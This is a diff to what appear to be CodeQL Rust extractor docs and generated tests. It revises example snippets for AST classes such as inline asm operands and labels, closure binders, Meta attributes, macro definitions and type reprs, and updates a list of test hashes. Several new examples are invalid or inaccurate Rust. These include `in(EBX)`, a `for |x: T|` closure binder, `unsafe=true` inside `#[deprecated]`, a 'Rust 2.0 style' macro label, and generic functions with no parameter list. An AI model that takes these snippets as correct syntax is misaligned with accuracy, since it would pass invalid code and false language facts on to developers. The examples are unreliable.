@@ module Raw { * * For example: * ```rust + * use core::arch::asm; * asm!("mov {0}, {1}", out(reg) x, in(reg) y); * // ^ ^ * ``` @@ -224,6 +226,7 @@ module Raw { * * For example: * ```rust + * use core::arch::asm; * asm!("", options(nostack, nomem)); * // ^^^^^^^^^^^^^^^^ * ``` @@ -248,8 +251,9 @@ module Raw { * * For example: * ```rust - * asm!("mov {0}, {1}", out("eax") x, in("ebx") y); - * // ^^^ ^^^ + * use core::arch::asm; + * asm!("mov {0}, {1}", out("eax") x, in(EBX) y); + * // ^^^ ^^^ * ``` */ class AsmRegSpec extends @asm_reg_spec, AstNode { @@ -333,8 +337,13 @@ module Raw { * * For example: * ```rust - * for <'a> |x: &'a u32 | x - * // ^^^^^^ + * let print_any = for |x: T| { + * // ^^^^^^^^^^^^^^^^^^^^^^^ + * println!("{:?}", x); + * }; + * + * print_any(42); + * print_any("hello"); * ``` */ class ClosureBinder extends @closure_binder, AstNode { @@ -676,8 +685,13 @@ module Raw { * * For example: * ```rust - * #[cfg(feature = "foo")] - * // ^^^^^^^^^^^^^^^ + * #[unsafe(lint::name = "reason_for_bypass")] + * //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * #[deprecated(since = "1.2.0", note = "Use bar instead", unsafe=true)] + * //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * fn foo() { + * // ... + * } * ``` */ class Meta extends @meta, AstNode { @@ -1504,6 +1518,7 @@ module Raw { * * For example: * ```rust + * use core::arch::asm; * asm!("", clobber_abi("C")); * // ^^^^^^^^^^^^^^^^ * ``` @@ -1518,6 +1533,7 @@ module Raw { * * For example: * ```rust + * use core::arch::asm; * asm!("mov eax, {const}", const 42); * // ^^^^^^^ * ``` @@ -1541,7 +1557,8 @@ module Raw { * An inline assembly expression. For example: * ```rust * unsafe { - * builtin # asm(_); + * #[inline(always)] + * builtin # asm("cmp {0}, {1}", in(reg) a, in(reg) b); * } * ``` */ @@ -1570,8 +1587,12 @@ module Raw { * * For example: * ```rust - * asm!("jmp {label}", label = sym my_label); - * // ^^^^^^^^^^^^^^^^^^^^^^ + * use core::arch::asm; + * asm!( + * "jmp {}", + * label { println!("Jumped from asm!"); } + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * ); * ``` */ class AsmLabel extends @asm_label, AsmOperand { @@ -1589,8 +1610,9 @@ module Raw { * * For example: * ```rust - * asm!("mov {out}, {in}", out = out(reg) x, in = in(reg) y); - * // ^^^^^ ^^^^ + * use core::arch::asm; + * asm!("mov {0:x}, {input:x}", out(reg) x, input = in(reg) y); + * // ^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^ * ``` */ class AsmOperandNamed extends @asm_operand_named, AsmPiece { @@ -1613,6 +1635,7 @@ module Raw { * * For example: * ```rust + * use core::arch::asm; * asm!("", options(nostack, nomem)); * // ^^^^^^^^^^^^^^^^ * ``` @@ -1632,6 +1655,7 @@ module Raw { * * For example: * ```rust + * use core::arch::asm; * asm!("mov {0}, {1}", out(reg) x, in(reg) y); * // ^ ^ * ``` @@ -1661,6 +1685,7 @@ module Raw { * * For example: * ```rust + * use core::arch::asm; * asm!("call {sym}", sym = sym my_function); * // ^^^^^^^^^^^^^^^^^^^^^^ * ``` @@ -1680,8 +1705,13 @@ module Raw { * * For example: * ```rust - * ::Item - * // ^^^^ + * fn process_cloneable(iter: T) + * where + * T: Iterator + * // ^^^^^^^^^^^ + * { + * // ... + * } * ``` */ class AssocTypeArg extends @assoc_type_arg, GenericArg { @@ -2226,8 +2256,13 @@ module Raw { * * For example: * ```rust - * for <'a> fn(&'a str) - * // ^^^^^ + * fn foo(value: T) + * where + * T: for<'a> Fn(&'a str) -> &'a str + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * { + * // ... + * } * ``` */ class ForTypeRepr extends @for_type_repr, TypeRepr { @@ -2544,8 +2579,8 @@ module Raw { * * For example: * ```rust - * Foo<'a> - * // ^^ + * let text: Text<'a>; + * // ^^ * ``` */ class LifetimeArg extends @lifetime_arg, GenericArg { @@ -2680,8 +2715,14 @@ module Raw { * * For example: * ```rust + * macro_rules! my_macro { + * () => { + * Ok(_) + * }; + * } * match x { * my_macro!() => "matched", + * // ^^^^^^^^^^^ * _ => "not matched", * } * ``` @@ -2701,6 +2742,9 @@ module Raw { * * For example: * ```rust + * macro_rules! macro_type { + * () => { i32 }; + * } * type T = macro_type!(); * // ^^^^^^^^^^^^^ * ``` @@ -2927,8 +2971,8 @@ module Raw { * INTERNAL: Do not use. * A path referring to a type. For example: * ```rust - * let x: (i32); - * // ^^^ + * type X = std::collections::HashMap; + * type Y = X::Item; * ``` */ class PathTypeRepr extends @path_type_repr, TypeRepr { @@ -3993,14 +4037,12 @@ module Raw { /** * INTERNAL: Do not use. - * A macro definition using the `macro_rules!` or similar syntax. + * A Rust 2.0 style declarative macro definition. * * For example: * ```rust - * macro_rules! my_macro { - * () => { - * println!("This is a macro!"); - * }; + * pub macro vec_of_two($element:expr) { + * vec![$element, $element] * } * ``` */ diff --git a/rust/ql/test/extractor-tests/generated/.generated_tests.list b/rust/ql/test/extractor-tests/generated/.generated_tests.list index 6fc2634396ef..53bb0fdc74f2 100644 --- a/rust/ql/test/extractor-tests/generated/.generated_tests.list +++ b/rust/ql/test/extractor-tests/generated/.generated_tests.list @@ -3,19 +3,19 @@ ArgList/gen_arg_list.rs 997959d661e34531ad42fc5cc214ed6bb2e318d91e94388ea94e245f ArrayListExpr/gen_array_list_expr.rs 99a1233b77a6b6eb0a538025688ca5a0824118a123bef0fe3f92a81834b17924 99a1233b77a6b6eb0a538025688ca5a0824118a123bef0fe3f92a81834b17924 ArrayRepeatExpr/gen_array_repeat_expr.rs 8cc7c0a435a02864290db6a498a5fcf227d8ee7ed87ee1943ad4d326c8314a0e 8cc7c0a435a02864290db6a498a5fcf227d8ee7ed87ee1943ad4d326c8314a0e ArrayTypeRepr/gen_array_type_repr.rs 2188c6b50fe296009566436e89d17fffa4711ce1102c8ece7dd5125cb2b8e36e 2188c6b50fe296009566436e89d17fffa4711ce1102c8ece7dd5125cb2b8e36e -AsmClobberAbi/gen_asm_clobber_abi.rs d4aa071ad5bbd693b6482e3ed20d04c3e575df689b7b660def13a76177d96796 d4aa071ad5bbd693b6482e3ed20d04c3e575df689b7b660def13a76177d96796 -AsmConst/gen_asm_const.rs ab5faeef4612f4c4898d4aacabd45c61accc3b0111920ed640abd3aa1fa38d72 ab5faeef4612f4c4898d4aacabd45c61accc3b0111920ed640abd3aa1fa38d72 -AsmDirSpec/gen_asm_dir_spec.rs 42a5fe5835440189bcad16c470e1faa1888e1770e6789d888919f06b08bb13b9 42a5fe5835440189bcad16c470e1faa1888e1770e6789d888919f06b08bb13b9 -AsmExpr/gen_asm_expr.rs 00b21fd66fe12785174bd0160d0317a6c78ff05dbba73313eb07b56531cf3158 00b21fd66fe12785174bd0160d0317a6c78ff05dbba73313eb07b56531cf3158 -AsmLabel/gen_asm_label.rs 282c2d385796f35d4b306e9f8a98fb06e8a39cd1fbea27b276783eb5c28bde40 282c2d385796f35d4b306e9f8a98fb06e8a39cd1fbea27b276783eb5c28bde40 -AsmOperandExpr/gen_asm_operand_expr.rs 25e7537453eb0bbe9bf23aa95497dc507638656ca52ab287e01c304caee10d4d 25e7537453eb0bbe9bf23aa95497dc507638656ca52ab287e01c304caee10d4d -AsmOperandNamed/gen_asm_operand_named.rs 6496d9f1e0024bee168dd423545c89fbef6b3040ed61cce5ad31c48d8218323d 6496d9f1e0024bee168dd423545c89fbef6b3040ed61cce5ad31c48d8218323d -AsmOption/gen_asm_option.rs a3c3537d3ec320fd989d004133c8e544cb527c6ca5dd38fbf821cb8ad59478ae a3c3537d3ec320fd989d004133c8e544cb527c6ca5dd38fbf821cb8ad59478ae -AsmOptionsList/gen_asm_options_list.rs 0bd76fbbc68f464546fbcac549cd8d34f890ea35e4656afa4ca9f2238126b4ca 0bd76fbbc68f464546fbcac549cd8d34f890ea35e4656afa4ca9f2238126b4ca -AsmRegOperand/gen_asm_reg_operand.rs fec61325b834a006c3d734a3395e4332381d37324ba8853379384a936959eb41 fec61325b834a006c3d734a3395e4332381d37324ba8853379384a936959eb41 -AsmRegSpec/gen_asm_reg_spec.rs d4113dc15e5ca4523f46d64d17949885cb78341306d26d9a7bce5c2684d08ebd d4113dc15e5ca4523f46d64d17949885cb78341306d26d9a7bce5c2684d08ebd -AsmSym/gen_asm_sym.rs 655bd12f51eec1de83bd097e9ff98048aeba645b4061fdd9870c9986f3f4944b 655bd12f51eec1de83bd097e9ff98048aeba645b4061fdd9870c9986f3f4944b -AssocTypeArg/gen_assoc_type_arg.rs 476792f19a54e77be6ce588848de8d652a979e4d88edc9ff62221f0974d7421c 476792f19a54e77be6ce588848de8d652a979e4d88edc9ff62221f0974d7421c +AsmClobberAbi/gen_asm_clobber_abi.rs eb9aefa9a191a16797c140fa1b43435f46e08a2f29217c6997431b4407207ca5 eb9aefa9a191a16797c140fa1b43435f46e08a2f29217c6997431b4407207ca5 +AsmConst/gen_asm_const.rs 9c3348eaf6dc4c503e680e01bec71acd639437ed7d2d66aeec6fba3fa6a04ca6 9c3348eaf6dc4c503e680e01bec71acd639437ed7d2d66aeec6fba3fa6a04ca6 +AsmDirSpec/gen_asm_dir_spec.rs d8cce684f18bc1ed15e10be89f834b02e8971eb1fedaca583d07356899f644b0 d8cce684f18bc1ed15e10be89f834b02e8971eb1fedaca583d07356899f644b0 +AsmExpr/gen_asm_expr.rs f35e1148bbc8b3f4765866345ef650befcd070507a53e519e21287fedf495f5a f35e1148bbc8b3f4765866345ef650befcd070507a53e519e21287fedf495f5a +AsmLabel/gen_asm_label.rs 4d70f0fdc9bd094a1bedb5fcbf4f2d47d20a47d69f3dc30855fb67780b8a2456 4d70f0fdc9bd094a1bedb5fcbf4f2d47d20a47d69f3dc30855fb67780b8a2456 +AsmOperandExpr/gen_asm_operand_expr.rs 9ec51abe4ddfd74983dffc2703e4f87fb496e717f1367b5ef7cfa2db8ec128fa 9ec51abe4ddfd74983dffc2703e4f87fb496e717f1367b5ef7cfa2db8ec128fa +AsmOperandNamed/gen_asm_operand_named.rs ca498c2aaeab670537e21d382f4575135a456da106f7467e346fd601d60ddb26 ca498c2aaeab670537e21d382f4575135a456da106f7467e346fd601d60ddb26 +AsmOption/gen_asm_option.rs 67f3a1ba4584bb071490542db579ba730fe2cb8bb1ad2e310558731165263315 67f3a1ba4584bb071490542db579ba730fe2cb8bb1ad2e310558731165263315 +AsmOptionsList/gen_asm_options_list.rs 03c5d05bb947fc3f399fa9be7422b5c18b4ef2a8af7d15e1a8599143a73bccf6 03c5d05bb947fc3f399fa9be7422b5c18b4ef2a8af7d15e1a8599143a73bccf6 +AsmRegOperand/gen_asm_reg_operand.rs 97370189e4fe37c0c1058c4387df6a84a46b5ad96d2394c1aea635044e937de8 97370189e4fe37c0c1058c4387df6a84a46b5ad96d2394c1aea635044e937de8 +AsmRegSpec/gen_asm_reg_spec.rs 4c8cb20e4494e5c580bc7cc0f807019982c144d68b78e5520d877f74cef11081 4c8cb20e4494e5c580bc7cc0f807019982c144d68b78e5520d877f74cef11081 +AsmSym/gen_asm_sym.rs 929843368b1d93ae255c080dee623dd874e63ed00c7e62879fb5dd20bc48e022 929843368b1d93ae255c080dee623dd874e63ed00c7e62879fb5dd20bc48e022 +AssocTypeArg/gen_assoc_type_arg.rs 7daf02fcf96da95546bfd8d50ca928585587a81f2ec3039f670ee968ae0f9860 7daf02fcf96da95546bfd8d50ca928585587a81f2ec3039f670ee968ae0f9860 Attr/gen_attr.rs ef3693ee8cefdd7f036c6f5584019f899be09aafe6d670ccca2042fc416f0a79 ef3693ee8cefdd7f036c6f5584019f899be09aafe6d670ccca2042fc416f0a79 AwaitExpr/gen_await_expr.rs cbfa17a0b84bb0033b1f577c1f2a7ff187506c6211faaf6d90c371d4186b9aa2 cbfa17a0b84bb0033b1f577c1f2a7ff187506c6211faaf6d90c371d4186b9aa2 BecomeExpr/gen_become_expr.rs ab763211a01a2ca92be1589625465672c762df66fa3d12c9f1376021e497c06c ab763211a01a2ca92be1589625465672c762df66fa3d12c9f1376021e497c06c @@ -25,7 +25,7 @@ BoxPat/gen_box_pat.rs 1493e24b732370b577ade38c47db17fa157df19f5390606a67a6040e49 BreakExpr/gen_break_expr.rs aacdf9df7fc51d19742b9e813835c0bd0913017e8d62765960e06b27d58b9031 aacdf9df7fc51d19742b9e813835c0bd0913017e8d62765960e06b27d58b9031 CallExpr/gen_call_expr.rs 013a7c878996aefb25b94b68eebc4f0b1bb74ccd09e91c491980817a383e2401 013a7c878996aefb25b94b68eebc4f0b1bb74ccd09e91c491980817a383e2401 CastExpr/gen_cast_expr.rs c3892211fbae4fed7cb1f25ff1679fd79d2878bf0bf2bd4b7982af23d00129f5 c3892211fbae4fed7cb1f25ff1679fd79d2878bf0bf2bd4b7982af23d00129f5 -ClosureBinder/gen_closure_binder.rs 1d6f9b45936bdf18a5a87decdf15bc5e477aabdd47bbc2c52d0de07e105600f9 1d6f9b45936bdf18a5a87decdf15bc5e477aabdd47bbc2c52d0de07e105600f9 +ClosureBinder/gen_closure_binder.rs 14b5e2deb2bbba164f1aee378be18e99e3c5a926628e964dcc2fbb349ff3b672 14b5e2deb2bbba164f1aee378be18e99e3c5a926628e964dcc2fbb349ff3b672 ClosureExpr/gen_closure_expr.rs 15bd9abdb8aaffabb8bb335f8ebd0571eb5f29115e1dc8d11837aa988702cd80 15bd9abdb8aaffabb8bb335f8ebd0571eb5f29115e1dc8d11837aa988702cd80 Comment/gen_comment.rs 1e1f9f43161a79c096c2056e8b7f5346385ab7addcdec68c2d53b383dd3debe6 1e1f9f43161a79c096c2056e8b7f5346385ab7addcdec68c2d53b383dd3debe6 Const/gen_const.rs a3b971134a4204d0da12563fcefa9ab72f3f2f2e957e82b70c8548b5807f375f a3b971134a4204d0da12563fcefa9ab72f3f2f2e957e82b70c8548b5807f375f @@ -42,7 +42,7 @@ ExternItemList/gen_extern_item_list.rs f9a03ddf20387871b96994915c9a725feb333d061 FieldExpr/gen_field_expr.rs 9a70500d592e0a071b03d974a55558b3bc0df531ff11bce5898feb36e17ffd8b 9a70500d592e0a071b03d974a55558b3bc0df531ff11bce5898feb36e17ffd8b FnPtrTypeRepr/gen_fn_ptr_type_repr.rs c154ec0cc43236d133f6b946374f3063b89e5cbf9e96d9ee66877be4f948888e c154ec0cc43236d133f6b946374f3063b89e5cbf9e96d9ee66877be4f948888e ForExpr/gen_for_expr.rs 003dc36e3dc4db6e3a4accd410c316f14334ba5b3d5d675c851a91dcd5185122 003dc36e3dc4db6e3a4accd410c316f14334ba5b3d5d675c851a91dcd5185122 -ForTypeRepr/gen_for_type_repr.rs d41db529dd031e96bf3de98091b67c11a89c99d86cb7b0f98097353c7ba00350 d41db529dd031e96bf3de98091b67c11a89c99d86cb7b0f98097353c7ba00350 +ForTypeRepr/gen_for_type_repr.rs 387b8e7bb9d548e822e5e62b29774681e39fb816f3f42f951674e98fc542f667 387b8e7bb9d548e822e5e62b29774681e39fb816f3f42f951674e98fc542f667 FormatArgsExpr/gen_format.rs e9d8e7b98d0050ad6053c2459cb21faab00078e74245336a5962438336f76d33 e9d8e7b98d0050ad6053c2459cb21faab00078e74245336a5962438336f76d33 FormatArgsExpr/gen_format_args_arg.rs 53ffd6abe4cd899c57d1973b31df0edc1d5eaa5835b19172ec4cda15bb3db28f 53ffd6abe4cd899c57d1973b31df0edc1d5eaa5835b19172ec4cda15bb3db28f FormatArgsExpr/gen_format_args_expr.rs 72c806ed163e9dcce2d0c5c8664d409b2aa635c1022c91959f9e8ae084f05bf2 72c806ed163e9dcce2d0c5c8664d409b2aa635c1022c91959f9e8ae084f05bf2 @@ -62,24 +62,24 @@ LetElse/gen_let_else.rs 7e953f63a3602532c5b4a3362bbbaa24285de7f1ada0d70697e294a9 LetExpr/gen_let_expr.rs 7aebcd7197fd0e6b5b954deb2f6380769c94609c57e34eb86a33eb04e91d4a78 7aebcd7197fd0e6b5b954deb2f6380769c94609c57e34eb86a33eb04e91d4a78 LetStmt/gen_let_stmt.rs 3f41c9721149ee0bf8f89a58bc419756358a2e267b80d07660354a7fc44ef1eb 3f41c9721149ee0bf8f89a58bc419756358a2e267b80d07660354a7fc44ef1eb Lifetime/gen_lifetime.rs afe50122f80d0426785c94679b385f31dae475f406fa3c73bd58a17f89a4dc51 afe50122f80d0426785c94679b385f31dae475f406fa3c73bd58a17f89a4dc51 -LifetimeArg/gen_lifetime_arg.rs 0dbbedbb81358bc96b6689028c32c161cf9bebe3c6c5727c3ad5e0c69814d37e 0dbbedbb81358bc96b6689028c32c161cf9bebe3c6c5727c3ad5e0c69814d37e +LifetimeArg/gen_lifetime_arg.rs 77e7153413205806b70f69088732ee09e26edacda2bedaa8b1ea771b6631f200 77e7153413205806b70f69088732ee09e26edacda2bedaa8b1ea771b6631f200 LifetimeParam/gen_lifetime_param.rs e3f9a417ae7a88a4d81d9cb747b361a3246d270d142fc6c3968cd47bf7c421e5 e3f9a417ae7a88a4d81d9cb747b361a3246d270d142fc6c3968cd47bf7c421e5 LiteralExpr/gen_literal_expr.rs 2db01ad390e5c0c63a957c043230a462cb4cc25715eea6ede15d43c55d35976d 2db01ad390e5c0c63a957c043230a462cb4cc25715eea6ede15d43c55d35976d LiteralPat/gen_literal_pat.rs a471b481b6989001817a3988696f445d9a4dea784e543c346536dacbee1e96f3 a471b481b6989001817a3988696f445d9a4dea784e543c346536dacbee1e96f3 LoopExpr/gen_loop_expr.rs 35deaf35e765db4ae3124a11284266d8f341d1ce7b700030efada0dda8878619 35deaf35e765db4ae3124a11284266d8f341d1ce7b700030efada0dda8878619 MacroBlockExpr/gen_macro_block_expr.rs 2e45dcf44bf2e8404b49ce9abeee4931572693174b5d96f3fd81eb40ea8e7b4b 2e45dcf44bf2e8404b49ce9abeee4931572693174b5d96f3fd81eb40ea8e7b4b MacroCall/gen_macro_call.rs 0bbfb1f41c627583214ab80c94a7467fdb353862634510d4d00b93c6f30ef79b 0bbfb1f41c627583214ab80c94a7467fdb353862634510d4d00b93c6f30ef79b -MacroDef/gen_macro_def.rs 07052ad401fd96cc539968f33fc7fe8d92359185e33bf8a5ae10e230345e3a85 07052ad401fd96cc539968f33fc7fe8d92359185e33bf8a5ae10e230345e3a85 +MacroDef/gen_macro_def.rs 6f895ecab8c13a73c28ce67fcee39baf7928745a80fb440811014f6d31b22378 6f895ecab8c13a73c28ce67fcee39baf7928745a80fb440811014f6d31b22378 MacroExpr/gen_macro_expr.rs 5e1748356f431eea343a2aad2798c22073151940ea2cda0f0cce78c3d96104f0 5e1748356f431eea343a2aad2798c22073151940ea2cda0f0cce78c3d96104f0 MacroItems/gen_macro_items.rs c00f8045d9a7d6562da1d0136b335b685e2ec5dbd708763faa24a752e89feda4 c00f8045d9a7d6562da1d0136b335b685e2ec5dbd708763faa24a752e89feda4 -MacroPat/gen_macro_pat.rs df275f17b7af1f1ad42c60a94ca0be9df7fbd3ffeaa4c0d3e8f54a00eed1e38d df275f17b7af1f1ad42c60a94ca0be9df7fbd3ffeaa4c0d3e8f54a00eed1e38d +MacroPat/gen_macro_pat.rs 6bc63338397e6ef322a1824ce7d8fa68629a81c740f6e1d5347642501c83683a 6bc63338397e6ef322a1824ce7d8fa68629a81c740f6e1d5347642501c83683a MacroRules/gen_macro_rules.rs 5483484783b19a4f4cb7565cf63c517e61a76ce5b5b4bdc9b90f7e235a4c03b7 5483484783b19a4f4cb7565cf63c517e61a76ce5b5b4bdc9b90f7e235a4c03b7 -MacroTypeRepr/gen_macro_type_repr.rs 9c7661a8a724cffdccf61b21574eab7d988420044f12ae2e830ae4a90a85ef15 9c7661a8a724cffdccf61b21574eab7d988420044f12ae2e830ae4a90a85ef15 +MacroTypeRepr/gen_macro_type_repr.rs cdb9670dde8b2a71256bc8d4acb1d63bd726cb49ee486ca2dbf1952884fd9c37 cdb9670dde8b2a71256bc8d4acb1d63bd726cb49ee486ca2dbf1952884fd9c37 MatchArm/gen_match_arm.rs ac75b4836a103e2755bd47a1ee1b74af6eb8349adc4ebedaaa27b3ea3ae41aa5 ac75b4836a103e2755bd47a1ee1b74af6eb8349adc4ebedaaa27b3ea3ae41aa5 MatchArmList/gen_match_arm_list.rs 6dcb92591c86771d2aeb762e4274d3e61a7d6c1a42da3dbace1cbc545b474080 6dcb92591c86771d2aeb762e4274d3e61a7d6c1a42da3dbace1cbc545b474080 MatchExpr/gen_match_expr.rs 081c5d4c78cb71ccd13fb37a93d7f525267c51b179f44b5a22ca3297897002a0 081c5d4c78cb71ccd13fb37a93d7f525267c51b179f44b5a22ca3297897002a0 MatchGuard/gen_match_guard.rs f0e84a1f608c0361983c516a40216cea149620a36e0aed7ff39b0b7d77a9ab8a f0e84a1f608c0361983c516a40216cea149620a36e0aed7ff39b0b7d77a9ab8a -Meta/gen_meta.rs 0d89c584d9ce0a36c3cf453642aa6bb2bb588c0d693fdf7ee565e73b082a9dd5 0d89c584d9ce0a36c3cf453642aa6bb2bb588c0d693fdf7ee565e73b082a9dd5 +Meta/gen_meta.rs 39172a1f7dd02fa3149e7a1fc1dc1f135aa87c84057ee721cd9b373517042b25 39172a1f7dd02fa3149e7a1fc1dc1f135aa87c84057ee721cd9b373517042b25 MethodCallExpr/gen_method_call_expr.rs f2b4679eb1ec095981fe6bd656b632c22bf6bd0da133309da3f7ef5bd1ab4b5d f2b4679eb1ec095981fe6bd656b632c22bf6bd0da133309da3f7ef5bd1ab4b5d Module/gen_module.rs 815605a604fea1d9276684f8d6738a4e833eacad57ceeb27e2095fc450264fc1 815605a604fea1d9276684f8d6738a4e833eacad57ceeb27e2095fc450264fc1 Name/gen_name.rs 8a7fe65ee632a47d12eaa313e7248ac9210e5a381e9522499ca68f94c39e72c0 8a7fe65ee632a47d12eaa313e7248ac9210e5a381e9522499ca68f94c39e72c0 @@ -96,7 +96,7 @@ ParenthesizedArgList/gen_parenthesized_arg_list.rs 161083eb292e1d70ca97b5afda8e2 Path/gen_path.rs 490268d6bfb1635883b8bdefc683d59c4dd0e9c7f86c2e55954661efb3ab0253 490268d6bfb1635883b8bdefc683d59c4dd0e9c7f86c2e55954661efb3ab0253 Path/gen_path_expr.rs dcc9cc16cafff0e2225c1853a91612d3f666016c53fcb4ab5716ed31a33a41cd dcc9cc16cafff0e2225c1853a91612d3f666016c53fcb4ab5716ed31a33a41cd Path/gen_path_pat.rs fd7f941f8b33f19d3693be1fdb595c2fb2e85e8296702b82bf12bcd44632f371 fd7f941f8b33f19d3693be1fdb595c2fb2e85e8296702b82bf12bcd44632f371 -Path/gen_path_type_repr.rs f910b75dd478a2ff2a7574bfd11e446dcb065a3d9878dea0c145d5c26ad47617 f910b75dd478a2ff2a7574bfd11e446dcb065a3d9878dea0c145d5c26ad47617 +Path/gen_path_type_repr.rs 2a59f36d62a8a6e0e2caacd2b7a78943ddb48af2bb2d82b0e63b387ec24e052d 2a59f36d62a8a6e0e2caacd2b7a78943ddb48af2bb2d82b0e63b387ec24e052d PrefixExpr/gen_prefix_expr.rs c4b53e87f370713b9a9e257be26d082b0761497bac19b1d7401a31b22b30d1ab c4b53e87f370713b9a9e257be26d082b0761497bac19b1d7401a31b22b30d1ab PtrTypeRepr/gen_ptr_type_repr.rs b833d2a02add897c53ad5f0d436e1f5fa8919809592e1ded56b0c1c99b8344bd b833d2a02add897c53ad5f0d436e1f5fa8919809592e1ded56b0c1c99b8344bd RangeExpr/gen_range_expr.rs 3f27cff9cc76b2703beff622d1453b84121e1970a869e45f9428deac92c4ecb0 3f27cff9cc76b2703beff622d1453b84121e1970a869e45f9428deac92c4ecb0 diff --git a/rust/ql/test/extractor-tests/generated/AsmClobberAbi/gen_asm_clobber_abi.rs b/rust/ql/test/extractor-tests/generated/AsmClobberAbi/gen_asm_clobber_abi.rs index 2735abdd75ed..f260f1359e5b 100644 --- a/rust/ql/test/extractor-tests/generated/AsmClobberAbi/gen_asm_clobber_abi.rs +++ b/rust/ql/test/extractor-tests/generated/AsmClobberAbi/gen_asm_clobber_abi.rs @@ -4,6 +4,7 @@ fn test_asm_clobber_abi() -> () { // A clobbered ABI in an inline assembly block. // // For example: + use core::arch::asm; asm!("", clobber_abi("C")); // ^^^^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/AsmConst/gen_asm_const.rs b/rust/ql/test/extractor-tests/generated/AsmConst/gen_asm_const.rs index 23800c7fd446..5002ebeb0fbe 100644 --- a/rust/ql/test/extractor-tests/generated/AsmConst/gen_asm_const.rs +++ b/rust/ql/test/extractor-tests/generated/AsmConst/gen_asm_const.rs @@ -4,6 +4,7 @@ fn test_asm_const() -> () { // A constant operand in an inline assembly block. // // For example: + use core::arch::asm; asm!("mov eax, {const}", const 42); // ^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/AsmDirSpec/gen_asm_dir_spec.rs b/rust/ql/test/extractor-tests/generated/AsmDirSpec/gen_asm_dir_spec.rs index 8e3740ddfbbf..7e5191018f1c 100644 --- a/rust/ql/test/extractor-tests/generated/AsmDirSpec/gen_asm_dir_spec.rs +++ b/rust/ql/test/extractor-tests/generated/AsmDirSpec/gen_asm_dir_spec.rs @@ -1,9 +1,10 @@ // generated by codegen, do not edit fn test_asm_dir_spec() -> () { - // An inline assembly directive specification. + // An inline assembly direction specifier. // // For example: - asm!("nop"); - // ^^^^^ + use core::arch::asm; + asm!("mov {input:x}, {input:x}", output = out(reg) x, input = in(reg) y); + // ^^^ ^^ } diff --git a/rust/ql/test/extractor-tests/generated/AsmExpr/gen_asm_expr.rs b/rust/ql/test/extractor-tests/generated/AsmExpr/gen_asm_expr.rs index cfd6896e2f84..b9c0766c54a3 100644 --- a/rust/ql/test/extractor-tests/generated/AsmExpr/gen_asm_expr.rs +++ b/rust/ql/test/extractor-tests/generated/AsmExpr/gen_asm_expr.rs @@ -3,6 +3,7 @@ fn test_asm_expr() -> () { // An inline assembly expression. For example: unsafe { - builtin # asm(_); + #[inline(always)] + builtin # asm("cmp {0}, {1}", in(reg) a, in(reg) b); } } diff --git a/rust/ql/test/extractor-tests/generated/AsmLabel/gen_asm_label.rs b/rust/ql/test/extractor-tests/generated/AsmLabel/gen_asm_label.rs index a035dbd6d0cc..d9cc2be296c9 100644 --- a/rust/ql/test/extractor-tests/generated/AsmLabel/gen_asm_label.rs +++ b/rust/ql/test/extractor-tests/generated/AsmLabel/gen_asm_label.rs @@ -4,6 +4,10 @@ fn test_asm_label() -> () { // A label in an inline assembly block. // // For example: - asm!("jmp {label}", label = sym my_label); - // ^^^^^^^^^^^^^^^^^^^^^^ + use core::arch::asm; + asm!( + "jmp {}", + label { println!("Jumped from asm!"); } + // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + ); } diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandExpr/gen_asm_operand_expr.rs b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/gen_asm_operand_expr.rs index 2c4a3dccc745..e7c9af1bfbe4 100644 --- a/rust/ql/test/extractor-tests/generated/AsmOperandExpr/gen_asm_operand_expr.rs +++ b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/gen_asm_operand_expr.rs @@ -4,6 +4,7 @@ fn test_asm_operand_expr() -> () { // An operand expression in an inline assembly block. // // For example: + use core::arch::asm; asm!("mov {0}, {1}", out(reg) x, in(reg) y); // ^ ^ } diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandNamed/gen_asm_operand_named.rs b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/gen_asm_operand_named.rs index a5d10e3c2ba6..1739d575b60a 100644 --- a/rust/ql/test/extractor-tests/generated/AsmOperandNamed/gen_asm_operand_named.rs +++ b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/gen_asm_operand_named.rs @@ -4,6 +4,7 @@ fn test_asm_operand_named() -> () { // A named operand in an inline assembly block. // // For example: - asm!("mov {out}, {in}", out = out(reg) x, in = in(reg) y); - // ^^^^^ ^^^^ + use core::arch::asm; + asm!("mov {0:x}, {input:x}", out(reg) x, input = in(reg) y); + // ^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/AsmOption/gen_asm_option.rs b/rust/ql/test/extractor-tests/generated/AsmOption/gen_asm_option.rs index 0035a778967c..d95addaa868b 100644 --- a/rust/ql/test/extractor-tests/generated/AsmOption/gen_asm_option.rs +++ b/rust/ql/test/extractor-tests/generated/AsmOption/gen_asm_option.rs @@ -4,6 +4,7 @@ fn test_asm_option() -> () { // An option in an inline assembly block. // // For example: + use core::arch::asm; asm!("", options(nostack, nomem)); // ^^^^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/AsmOptionsList/gen_asm_options_list.rs b/rust/ql/test/extractor-tests/generated/AsmOptionsList/gen_asm_options_list.rs index 93e7117848f2..5f7a048f8199 100644 --- a/rust/ql/test/extractor-tests/generated/AsmOptionsList/gen_asm_options_list.rs +++ b/rust/ql/test/extractor-tests/generated/AsmOptionsList/gen_asm_options_list.rs @@ -4,6 +4,7 @@ fn test_asm_options_list() -> () { // A list of options in an inline assembly block. // // For example: + use core::arch::asm; asm!("", options(nostack, nomem)); // ^^^^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/AsmRegOperand/gen_asm_reg_operand.rs b/rust/ql/test/extractor-tests/generated/AsmRegOperand/gen_asm_reg_operand.rs index 08a7072c6bdd..530ee125a9b0 100644 --- 